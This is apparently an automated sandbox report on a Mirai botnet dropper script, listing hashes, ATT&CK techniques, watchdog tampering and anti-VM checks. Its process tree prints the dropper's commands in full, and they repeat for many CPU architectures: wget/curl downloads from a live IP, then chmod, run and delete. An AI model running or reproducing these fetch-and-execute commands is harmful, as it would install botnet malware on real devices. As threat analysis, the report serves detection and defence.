mirai | 889f8101436dbf4c3d7bf4a8ed9c399bbacedaaf0c64c731eeebcd2cee6f435b

Analysis

max time kernel
148s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/07/2026, 23:31

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General

Target
nz.sh
Size 2KB
Sample260711-3hybasa18m
SHA256 889f8101436dbf4c3d7bf4a8ed9c399bbacedaaf0c64c731eeebcd2cee6f435b
MD5 0ac8b3af4ea3ffcc3bdca85467468bd9
SHA1 0f1419d47ddb5bfa187a753d49b6261aafeaaa8a
SHA512 b899e18f64265511b6940a0ad0446caa7f96c197a6a58fdbdb33a351af02e67d83d4538a548dbfec0d49286e19ceea6dc12863b2c266623e48337388592eda04
TLSH
T1A95191C7510517312EB2DDA6BBBB886D30D0D1AB64C7FFA6A4D8BCA4428DD0C7C4265B
MD5 SHA1 SHA512 TLSH

Score

10^/10

antivm botnet defense_evasion discovery mirai

Malware Config

Signatures

Family: Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
785	chmod
806	chmod
824	chmod
684	chmod
738	chmod
743	chmod
836	chmod
720	chmod
777	chmod
791	chmod
675	chmod
801	chmod
811	chmod
830	chmod
842	chmod

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	nz.arm
File opened for modification	/dev/misc/watchdog	nz.arm
File opened for modification	/dev/watchdog	nz.arm7
File opened for modification	/dev/misc/watchdog	nz.arm7

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	nz.arm
File opened for modification	/bin/watchdog	nz.arm
File opened for modification	/sbin/watchdog	nz.arm7
File opened for modification	/bin/watchdog	nz.arm7

Checks CPU configuration 1 TTPs 15 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/19/status	nz.arm7
File opened for reading	/proc/24/status	nz.arm7
File opened for reading	/proc/567/status	nz.arm7
File opened for reading	/proc/595/status	nz.arm7
File opened for reading	/proc/644/status	nz.arm7
File opened for reading	/proc/18/status	nz.arm
File opened for reading	/proc/21/status	nz.arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/status	nz.arm7
File opened for reading	/proc/108/status	nz.arm7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/321/status	nz.arm
File opened for reading	/proc/self/exe	nz.arm7
File opened for reading	/proc/309/status	nz.arm7
File opened for reading	/proc/self/exe	nz.arm
File opened for reading	/proc/7/status	nz.arm
File opened for reading	/proc/17/status	nz.arm7
File opened for reading	/proc/42/status	nz.arm7
File opened for reading	/proc/797/status	nz.arm7
File opened for reading	/proc/814/status	nz.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/status	nz.arm
File opened for reading	/proc/8/status	nz.arm
File opened for reading	/proc/20/status	nz.arm
File opened for reading	/proc/339/status	nz.arm
File opened for reading	/proc/795/status	nz.arm
File opened for reading	/proc/11/status	nz.arm7
File opened for reading	/proc/22/status	nz.arm7
File opened for reading	/proc/18/status	nz.arm7
File opened for reading	/proc/24/status	nz.arm
File opened for reading	/proc/27/status	nz.arm7
File opened for reading	/proc/28/status	nz.arm7
File opened for reading	/proc/172/status	nz.arm7
File opened for reading	/proc/300/status	nz.arm7
File opened for reading	/proc/306/status	nz.arm7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/status	nz.arm
File opened for reading	/proc/16/status	nz.arm
File opened for reading	/proc/27/status	nz.arm
File opened for reading	/proc/5/status	nz.arm7
File opened for reading	/proc/596/status	nz.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/21/status	nz.arm7
File opened for reading	/proc/169/status	nz.arm7
File opened for reading	/proc/796/status	nz.arm7
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/593/status	nz.arm7
File opened for reading	/proc/16/status	nz.arm7
File opened for reading	/proc/637/status	nz.arm7
File opened for reading	/proc/794/status	nz.arm7
File opened for reading	/proc/278/status	nz.arm7
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/3/status	nz.arm
File opened for reading	/proc/160/status	nz.arm
File opened for reading	/proc/169/status	nz.arm
File opened for reading	/proc/278/status	nz.arm
File opened for reading	/proc/637/status	nz.arm
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/41/status	nz.arm7
File opened for reading	/proc/29/status	nz.arm
File opened for reading	/proc/591/status	nz.arm
File opened for reading	/proc/644/status	nz.arm
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/110/status	nz.arm7

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
679	wget
680	curl
686	nz.mips
688	rm

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nz.i468	curl
File opened for modification	/tmp/nz.mpsl	curl
File opened for modification	/tmp/nz.arm6	curl
File opened for modification	/tmp/nz.ppc	wget
File opened for modification	/tmp/nz.mips	wget
File opened for modification	/tmp/nz.mips	curl
File opened for modification	/tmp/nz.arc	wget
File opened for modification	/tmp/nz.arm5	wget
File opened for modification	/tmp/nz.spc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/nz.i686	wget
File opened for modification	/tmp/nz.x86_64	wget
File opened for modification	/tmp/nz.arm	curl
File opened for modification	/tmp/nz.arm5	curl
File opened for modification	/tmp/nz.arm7	curl
File opened for modification	/tmp/nz.sh4	curl
File opened for modification	/tmp/nz.x86	wget
File opened for modification	/tmp/nz.arc	curl
File opened for modification	/tmp/nz.arm	wget
File opened for modification	/tmp/nz.arm6	wget
File opened for modification	/tmp/nz.x86	curl
File opened for modification	/tmp/nz.arm7	wget
File opened for modification	/tmp/nz.spc	curl
File opened for modification	/tmp/nz.i686	curl
File opened for modification	/tmp/nz.ppc	curl
File opened for modification	/tmp/nz.m68k	wget
File opened for modification	/tmp/nz.sh4	wget
File opened for modification	/tmp/nz.x86_64	curl
File opened for modification	/tmp/nz.mpsl	wget
File opened for modification	/tmp/nz.m68k	curl

/tmp/nz.sh
/tmp/nz.sh
1⤵
PID:645
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:650
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.x86
  2⤵
  - Writes file to tmp directory
  PID:659
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:673
- /bin/chmod
  chmod +x busybox nz.sh nz.x86 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /tmp/nz.x86
  ./nz.x86 nz.x86
  2⤵
  PID:676
- /bin/rm
  rm -rf nz.x86
  2⤵
  PID:678
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:679
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.mips
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:680
- /bin/chmod
  chmod +x busybox nz.mips nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/nz.mips
  ./nz.mips nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:686
- /bin/rm
  rm -rf nz.mips
  2⤵
  - System Network Configuration Discovery
  PID:688
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.arc
  2⤵
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.arc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:705
- /bin/chmod
  chmod +x busybox nz.arc nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/nz.arc
  ./nz.arc nz.arc
  2⤵
  PID:724
- /bin/rm
  rm -rf nz.arc
  2⤵
  PID:727
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.i468
  2⤵
  PID:729
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.i468
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod +x busybox nz.i468 nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/nz.i468
  ./nz.i468 nz.i468
  2⤵
  PID:739
- /bin/rm
  rm -rf nz.i468
  2⤵
  PID:740
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.i686
  2⤵
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.i686
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod +x busybox nz.i686 nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/nz.i686
  ./nz.i686 nz.i686
  2⤵
  PID:746
- /bin/rm
  rm -rf nz.i686
  2⤵
  PID:748
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.x86_64
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.x86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod +x busybox nz.sh nz.x86_64 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/nz.x86_64
  ./nz.x86_64 nz.x86_64
  2⤵
  PID:778
- /bin/rm
  rm -rf nz.x86_64
  2⤵
  PID:780
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.mpsl
  2⤵
  - Writes file to tmp directory
  PID:782
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.mpsl
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x busybox nz.mpsl nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/nz.mpsl
  ./nz.mpsl nz.mpsl
  2⤵
  PID:786
- /bin/rm
  rm -rf nz.mpsl
  2⤵
  PID:788
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.arm
  2⤵
  - Writes file to tmp directory
  PID:789
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.arm
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod +x busybox nz.arm nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/nz.arm
  ./nz.arm nz.arm
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:792
- /bin/rm
  rm -rf nz.arm
  2⤵
  PID:798
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.arm5
  2⤵
  - Writes file to tmp directory
  PID:799
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod +x busybox nz.arm5 nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:801
- /tmp/nz.arm5
  ./nz.arm5 nz.arm5
  2⤵
  PID:802
- /bin/rm
  rm -rf nz.arm5
  2⤵
  PID:803
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.arm6
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:805
- /bin/chmod
  chmod +x busybox nz.arm6 nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/nz.arm6
  ./nz.arm6 nz.arm6
  2⤵
  PID:807
- /bin/rm
  rm -rf nz.arm6
  2⤵
  PID:808
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.arm7
  2⤵
  - Writes file to tmp directory
  PID:809
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod +x busybox nz.arm7 nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/nz.arm7
  ./nz.arm7 nz.arm7
  2⤵
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:812
- /bin/rm
  rm -rf nz.arm7
  2⤵
  PID:821
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.ppc
  2⤵
  - Writes file to tmp directory
  PID:822
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.ppc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod +x busybox nz.ppc nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/nz.ppc
  ./nz.ppc nz.ppc
  2⤵
  PID:825
- /bin/rm
  rm -rf nz.ppc
  2⤵
  PID:827
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.spc
  2⤵
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.spc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod +x busybox nz.sh nz.spc systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/nz.spc
  ./nz.spc nz.spc
  2⤵
  PID:831
- /bin/rm
  rm -rf nz.spc
  2⤵
  PID:833
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.m68k
  2⤵
  - Writes file to tmp directory
  PID:834
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/chmod
  chmod +x busybox nz.m68k nz.sh systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:836
- /tmp/nz.m68k
  ./nz.m68k nz.m68k
  2⤵
  PID:837
- /bin/rm
  rm -rf nz.m68k
  2⤵
  PID:839
- /usr/bin/wget
  wget http://41.216.189.92/nz/nz.sh4
  2⤵
  - Writes file to tmp directory
  PID:840
- /usr/bin/curl
  curl -O http://41.216.189.92/nz/nz.sh4
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod +x busybox nz.sh nz.sh4 systemd-private-9eb4f9ffd4d7474eb53b4b93046ef7cb-systemd-timedated.service-tawKkg
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/nz.sh4
  ./nz.sh4 nz.sh4
  2⤵
  PID:843
- /bin/rm
  rm -rf nz.sh4
  2⤵
  PID:845

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

busybox

Path /tmp/busybox
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
TLSH
T1EEB4E0C9FD812D83C6C3823D32021C759575D5DDB3AA921A322DA0FB3768AB653DE394
MD5 SHA1 SHA512 SSDEEP TLSH

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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